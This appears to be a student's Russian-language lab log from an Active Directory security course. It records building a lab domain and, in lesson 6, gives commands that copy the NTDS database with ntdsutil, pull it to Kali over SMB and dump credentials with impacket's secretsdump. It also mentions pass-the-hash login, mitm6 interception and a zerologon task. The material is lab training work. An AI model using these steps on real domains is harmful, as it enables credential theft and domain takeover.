# **Модуль Active Directory **
Здесь предлагается заскринить основные моменты всех практик, которые были выполнены.

Занятие 1

Oracle Virtualbox установлен;
Oracle Virtualbox extentions установлены;
Windows Server 2016 (анлгийская версия) установлен;
Windows Server 2016 (русская версия) установлен;
Windows 10 установлен;
Mikrotik импортирован;
На Mikrotik настроен сетевой адаптер локальной сети;
На Mikrotik настроен NAT.

Занятие 2

Статические адреса настроены на двух WinServer;
Имена компьютеров Winserver и Win10 настроены (dc1, dc2, pc1);
На оба WinServer установлены роли AD, DHCP, DNS;
WinServer en сконфигурирован как основной контроллер домена hackeru.local;
WinServer ru сконфигурирован как второстепенный контроллер домена;
Win10 внесён в домен.


Занятие 3

Применён скрипт newadusergroups.ps1 (созданы OU, пользователи и группы).
По итогу в домене будет такая структура объектов:

Занятие 4

DHCP сервер сконфигурирован на одном из контроллеров домена;
Создана групповая политики расширенного логирования;
Политика применена на контроллеры домена.


Занятие 5

Создана сетевая папка на одном из контроллеров домена;
К сетевой папке примены настройки аудита удаления файлов;
От имени любого пользователя, работающего на Win10, проведено удаление вложенных файлов/папок из сетевой папки;
В журнале событий найдены события удаления.

Занятие 6

Проведён бэкап файла NTDS;
Бэкап перекинут на Kali linux;
Просмотрено содержимое файла с помощью secrestdump;
Загружен .exe или .msi файл с Kali Linux на рабочий стол одного из пользователей win10;
Удалось подключиться с Kali по RDP на Win10;
С помощью mitm6 перехвачена аутентификация трёх пользователей домена.

**Занятие 6**
* Проводим бэкап NTDS
В командную строку Windows ( от имени администратора) вводим команды:
> ntdsutil
activate instance ntds
ifm
create full C:\temp
Делает копию NTDS c ветками реестра
Далее мы видим в папке temp - папку registry ( в которой содержатся SYSTEM, SECURITY)
* Переносим NTDS на KALI Linux. C помощью SMB входим с Kali на Win

smbclient ‘\\192.168.10.201\C$’ -U    testdomain/Administrator
>мой вариант-  smbclient ‘\\192.168.10.201\C$’ -U hackeru.local/Administrator

где 192.168.10.201 – ip адрес контроллера домена,
testdomain – имя домена,
Administrator – имя учетной записи с правами администратора.


* Проводим анализ NTDS
Скачиваем impacket находясь в домашней директории на KALI

git clone https://github.com/SecureAuthCorp/impacket
apt install python3-pip
cd impacket
pip install .

После установки - переходим в директорию examples (она находится внутри папки impacket) и выполняем команду:

python3 secretdump.py -ntds /home/user/temp/Active\ Direcrory/ntds.dit -system /home/user/temp/registry/SYSTEM LOCAL

где secretdump.py – исполняемый скрипт,
ntds.dit – анализируемый инстанс базы данных NTDS,
registry/SYSTEM – ветка реестра, с помощью которой мы можем прочитать NTDS,
LOCAL – флаг для скрипта, который говорит, что мы анализируем NTDS локально.
Внимательно следите за слешами – мы экранируем пробелы обратным слешем.

В моем случае 
python3 secretdump.py -ntds /temp/Active\ Direcrory/ntds.dit -system /temp/registry/SYSTEM LOCAL


Получили аутетификационные данные объектов домена hackeru.local

Вошли под администратором с помощью хэша.

Не понятно почему не хочет давать аутентификацию через длинный хэш. Отключил брандмауэр на DC1, в политиках поковырялся, с надеждой на то что все заработает. Но увы.

Час потратил на поиск ошибки(правда уже была глубокая ночь), в итоге Исраэль подсказал - что ошибка в написании домена


Дальше уже не пошел. Каша в голове от недосыпа и большого кол-ва инфы.
Но [задачи](https://hackmd.io/@UncleVan/S1hZU5wgK) остальные по мере возможности порешаю.

Занятие 7 - не приступал

Проведена атака zerologon;
Просмотрено содержимое файла NTDS удалённо;
Найдены события, подтверждающие факт компрометации домена.